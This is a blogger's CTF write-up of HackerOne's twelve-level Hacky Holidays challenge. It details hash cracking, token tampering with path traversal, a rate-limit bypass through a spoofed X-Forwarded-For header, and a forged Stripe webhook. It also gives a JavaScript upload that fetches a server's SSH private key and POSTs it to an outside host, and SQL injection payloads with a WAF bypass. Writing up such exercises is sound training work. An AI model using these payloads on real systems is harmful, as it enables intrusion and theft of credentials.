H1-CTF Hacky Holidays Writeup

Akshansh JaisWal
11 min readFeb 1, 2022


Hey everyone i hope you all are fine and doing good, In December Hackerone made a 12 day 12 level CTF called Hacky-Holidays which had 12 flags. I was able to complete the CTF and get all the 12 flags and here i’m adding the writeup for the same.Apologies for adding very few pictures as writeup was made in last hours of CTF being coming to close 😅

So CTF was divided in three stages where each stage had 4 level/flags with them.So lets start with the first one.Here’s short visual summary for same.

Part One

Part one started with url: https://elfmail.hackyholidays.h1ctf.com/


Here it was a login page /login-store which accepted username and password parameter, the page also had js with obfuscation and Adam evilness which is called rabbithole. After running around a bit i found that there was a debug parameter in POST request to login store which would display error giving out file directories.

<b>Warning</b>:  Undefined array key "password" in <b>/var/www/html/public/_harvester_/code/harvest.php</b> on line <b>19</b><br />

Here we found that /_harvester_/ was one directory which we havent searched inside and there it was at /_harvester_/flag.txt our first flag.


Day 2 began with a red button on side that redirected to https://elfmail.hackyholidays.h1ctf.com/harvest-admin/ on directory search we found a Backup folder with a sql file on https://elfmail.hackyholidays.h1ctf.com/harvest-admin/Backup/db.sql having some credentials as

INSERT INTO `users` (`id`, `username`, `password`, `salt`, `locked`) VALUES 
(1, 'bob', '5de402c02cbf657370d179808f26d450', '564315833g', 1),
(2, 'jim', '2309467bac72082e270195f5a43303d0', 'angelae', 1),
(3, 'grinch', '0273f802f2882bcd5daf8f08a3fee512','pare���㞷�

As you can see we have md5 hash and salt for the first 2 rows we successfully got the first 2 passwords using hashcat with rockyou.txt as wordlist

2309467bac72082e270195f5a43303d0:angelae:austin 5de402c02cbf657370d179808f26d450:564315833g:freedom

Now for 3rd we only know that salt has pare as starting but not length and complete word.Since we were using rockyou.txt we filtered all words which were starting from pare and made a wordlist like : 0273f802f2882bcd5daf8f08a3fee512:pare{all-rockyou-having-pare-start}

with this we cracked and got grinch login password as amaflor2 0273f802f2882bcd5daf8f08a3fee512:pareh20:amaflor2.After login we got the flag


After login we see we have Data tab on https://elfmail.hackyholidays.h1ctf.com/harvest-admin/data/ which says you do not have access to the feature Now poking around first we see one directory https://elfmail.hackyholidays.h1ctf.com:443/harvest-admin/api which had /api/users and /api/users/{username} which would give us not authorised error.

When we decoded the base64 login token we found that it was {"data":"{"username":"grinch"}","auth":"026964afe5456351c25f271203f26a41"} here i tried to played around values and found two things first we can change auth value to true and it still works the username only accepts valid username.But still it was not useful then i remembered we had /api/users endpoint which was forbidden so maybe we can use here and it actualy worked here we had an api traversal back allowed which allowed us to get users by making token as {"data":"{"username":"grinch/../../users"}","auth":true} encoded base64 as to


Now we got users as {"users":[{"username":"bob","role":"user"},{"username":"jim","role":"user"},{"username":"grinch","role":"user"},{"username":"sup3r-grinch","role":"admin"}]}

here we used username sup3r-grinch and hit /harvest-admin/data/ and got loggedin to get the flag.

Flag 4

Now logged-in as sup3r-grinch we could see a delete button but it took us to enter PIN section which asked us for a 4 digit pin, here from our IP we could only send few PINS and also PIN would expire in a minute around time.

But here was the catch if we would use X-Forwarded-For: header with any random number also it worked and allowed more request to check PINS therefore using intruder and selecting Battering Ram with pin and header as injection point we used range 0000-9999. and successfully got fourth flag

Part Two

Part-Two Summary

On day 5 we started with part two on https://intranet.hackyholidays.h1ctf.com/


Here first challenege was https://intranet.hackyholidays.h1ctf.com/staff_info/ which opened us a page of employee info , in background we could see api calls as made in JavaScript

$('#name').html( resp.value );
$('#address').html( resp.value );
$('#position').html( resp.value );
$('#profilepic').attr('src',resp.value );
$('#salary').html( resp.value );
$('#dob').html( resp.value );

We got first four part ,by changing

  • id=1 in api/name ,
  • api/address?id=md5(1),
  • api/position?id=base64_encode({“user_id”:1})
  • /api/image Cookie: id=1

Lat 2 were salary and dob, were small tricky we got by making requests like

  • dob?id=1&id=2
  • PUT /staff_info/api/salary?id=1

Hence by combining all 6 parts we got flag


For flag 6 we got a new url which was https://intranet.hackyholidays.h1ctf.com/premium_content/ here we saw we could register and login , once we register we saw we need to pay 19.99, clicking on the button gave us grinchy error Fatal Error: failed to connect to stripe API huh sussy, i knew we had something to play with stripe but no idea what , after doing a lot of content discovery i got a new endpoint which is rare in common wordlist which is /webhook haha can you imagine this being an endpoint yet not in any wordlist maybe we need to update our wordlist on missing this in future bb programs as well.Anyways back to topic we got https://intranet.hackyholidays.h1ctf.com/premium_content/webhook but this showed missing required parameter i tried with some params but still didnt worked then i started looking around Stripe docs around payment and found payment intent, this will make sense as a webhook expecting to call the stripe to confirm payment is recieved. So in payment_intent api basically we had to change three things "amount": 1999,"amount_received": 1999 and status to "status": "succeeded".

Once we do this we get message

{"message":"Payment Received, account upgraded"}

This would upgrade the account and now after refreshing the account we could see flag 6


Flag 7 had christmaslist.apk upon downloading and decompiling, I saw that there was android bundle class calling intranet domain with auth headers and params

default.get("https://intranet.hackyholidays.h1ctf.com/api/christmasList",{headers:{Authorization:'Bearer MjJlNzA1ZDY4OWZiYzE4MTk5Mjc2NzgwNDU2MGQ0YTYgIC0K'},params:{flag:!1}})

changing and playing with flag=true param gave us the flag-7

GET /api/christmasList?flag=true HTTP/1.1 
Host: intranet.hackyholidays.h1ctf.com
Authorization:Bearer MjJlNzA1ZDY4OWZiYzE4MTk5Mjc2NzgwNDU2MGQ0YTYgIC0K


Grinch became more evil now he dropped harder APK where we had to guess the 4 digit pin on code level from app, we can see that once we enter right pin the db.encrypted file would be decrypted to save data in totp db and it will save flag inside its DB.

So our aim was to get right pin and then open the db .So upon looking the code we need to bruteforce so we made a simple frida script that would do the task.For this also we see that string is made in 4 multiples like if we have pin 1111 it will become 1111111111111111 and then used as key .

we got the code as 2223 now when we opened the db it was base64 encoded with value which was our 8th flag

Part Three

Part Three started with https://c2.hackyholidays.h1ctf.com/ A lot of pieces from other challenges were also open so this was bit difficult to get which piece belonged to which So we got /.git/config, /~/.ssh directory, /api/ all useful we will see in later parts.


So here first we got a login and regsiter screen the register page would only accept emails from a specific domain initially i tried with @h1ctf.com but this didnt worked out .the route/p/checkmail was used to check if the email entered belongs to given domain.

After doing content discovery i found there were 2 interesting routes on first is /p/ and /api , api had more routes likes /api/v{1-2-3}/users/{1-9} so these endpoints seem to related after trying fuzzing on these two i found that POST /p/m would give similar result as Api so maybe its calling api server only in some way,poking around more i found it would allow traverse back and hit back routes and therefore we could hit POST /p/../v1 ,basically all /api/ routes now so i tried all endpoints which we got in /api/ content discovery and finally we found the users like

POST  /p/../v1/users/5 HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 34

So we got to know that this.is.h1.101.h1ctf.com is whitelisted domain therefore i made email like akshansh@this.is.h1.101.h1ctf.com got logged inside and found the flag


After being logged in we found that there is upload section which basically is locked and says you dont have permisson to see this .We also get a settings page with disabled field which is changing permission if we manually try removing disabled we see request going like

POST /settings/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Cookie: candc_token=319fdd7782e96b43d5da3c5ce7be6e98

But this had no effect hmmmm strange so Adam made this there might be a purpose right, yes there was, basically during register if we would use this it would allow us admin access so your request should be

POST /register/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com

and hurray we found the flag 10th Flag


Now in https://c2.hackyholidays.h1ctf.com/uploads/ we could see a buton to upload an HTML page, and then it would create a website which host it in iframe but before doing so it also used to add a screenshot on upload page of how the website looked like so it was running the HTML page we sent out , for our win it is actually running our code so we get him disclose the info.

I first tried with a simple html page checking for AWS secrets

<!DOCTYPE html>
<body onload=window.location=''>

This worked and we got iframe embeded picture which had secrets.But this was actually not intended part of CTF to access this, it was open by mistake .

Then earlier while doing content discovery i had got https://c2.hackyholidays.h1ctf.com/~/.ssh/ directory which was forbidden to access so i tried this and saw id_rsa and id_rsa.pub being there but now the problem we cant see the ful key and proper key word by word in the screenshot so we need to exfil the data , therefore first we need the html page to call our controlled server with data and to do so we need to do an Async Ajax call in our script to send the keys to our controlled server i had used

async function getc2serverdata(){
response = await fetch('https://c2.hackyholidays.h1ctf.com/~/.ssh/id_rsa');
resp_value = await response.text();
await fetch('http://myserver.com', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
body: JSON.stringify({
'ssrf_data': resp_value

Now on window.onload just calling the function would send the ssh key on my server .So on our server we get the ssh_key private. Now ealier remember we had got

https://c2.hackyholidays.h1ctf.com/.git/config it had content

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/grinch-networks-two/directory-protector
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

pointing to https://github.com/grinch-networks-two/directory-protector this was private directory so publicly we could not access it but using the ssh key we were sucessfully able to clone the directory and in Readme.md we got the flag

Day Eleven Flag: Come back tomorrow for more fun :)


Remember it had said to come back again last day so we cloned again and now we got a new file Protector.php and Readme had this new endpoint /infrastructure_management On going to https://c2.hackyholidays.h1ctf.com/infrastructure_management we found that its blocked with custom message

Request Blocked using Directory Protector

In folder we also got a new file Protector.php as

server checks for authorisation_token which should have base 64 of {"server": "myprivateserver.com", "token": "B"} Here server value will be used to call the url http://myprivateserver.com/.server.local/authenticate?token=B and then if response contains {"authorised":true,"codeword":"code_word_from_file} it would allow request to come in.here code_word_from_file from file was taken using the function

private function expectedKeyword($codewords){
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];

So a file is opened and from the array a word is chosen from a range of line value which is $line = intval(date("G")) + intval(date("i")); therefore we need to also find the file, we found the file in https://c2.hackyholidays.h1ctf.com/infrastructure_management/code.txt here I took out the first 83 words and put in our array with a function which will send the codeword in same timezone as Adam server will, so a simple php server having code

<?php$codewrd = explode("\n",file_get_contents("code.txt"));
$line = intval(date("G")) + intval(date("i"));
echo json_encode(array("authorised"=> true,"codeword"=> $codewrd[$line], "timezone" => date_default_timezone_get(),"G"=> date("G"), "i"=> date("i"), "line"=> $line));

will send the right coding pass the authorised true condition.Now we hosted our script on chall.php Now we need to send this as cookie value in authorisation_token encoded base64

{“server”: “example.com/chall.php#”, “token”: “a”}

GET /infrastructure_management/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Cookie: authorisation_token=eyJzZXJ2ZXIiOiAiZXhhbXBsZS5jb20vY2hhbGwucGhwIyIsICJ0b2tlbiI6ICJhIn0=

After being logged in we see redirected to /login/ the login endpoint was not having major play area but there was an another call in javascript

<script>let users = {};
users[v] = true;
let u = $('input[name="username"]').val();
if( !users.hasOwnProperty(u) ){
alert('Username cannot be found');
return false;

https://c2.hackyholidays.h1ctf.com/infrastructure_management/get_column?column=username checking if the username was valid or not this was vulnerable to SQL injection and we found a row of

  • username- grinch
  • password 40bf586cb6c1c1bab623ace03dc6b6fb the password was of no use we only got the username which can be used .

Now after a bit Adam dropped a hint that Grinch is loging in his server from time to time so i tried to look in information_schema.PROCESSLIST table but using sqlmap i was getting my own query back so then i tried manual approach and in multiple times using SUBSTR here it was double injection

After we select data from first table so we needed another select but there was a WAF enabled so directly using sleep will not work instead we added %25 to bypass it and then add numbers in payload to exfil one character at a time in cycle.In 10 tries we could complete this by increasing and adding 1 value with 10 every time in loop

GET /infrastructure_management/get_column?column=SUBSTR((SELECT+INFO+FROM+information_schema.PROCESSLIST+WHERE+INFO+LIKE+'SELECT+*,SLEE%25'),1,10)

extracted the password md5(Yo9R38!IdobFZF6eFS3#) which we used with username-grinch and password - Yo9R38!IdobFZF6eFS3# and got logged in system and on clicking the Burn Infrastructure button we got the final flag which is Flag 12.

Thank you Adam and Congon4tor pulling an CTF on a large scale, itis not an easy task and then handling queries and ensuring no problem is another headache massive shoutout to them and sending hugs for them you guys rock



Akshansh JaisWal